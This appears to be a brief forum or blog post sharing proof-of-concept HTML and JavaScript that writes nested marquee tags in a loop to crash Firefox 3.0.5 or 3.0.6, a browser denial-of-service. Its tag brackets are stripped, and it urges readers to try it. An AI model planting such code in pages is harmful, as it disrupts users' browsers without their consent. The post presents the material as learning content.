IT_Solution for Learning

Heres some PoC code, save it as whatever.html, and open with FF 3.0.5 or 3.0.6

html
script
var data = "marquee";
for(x=1;x<=1000;x++){
document.write(data);
}
/script
/html

add symbol with html tag....

n look what happend.......try it for knowing

reference:mrdoug @BHF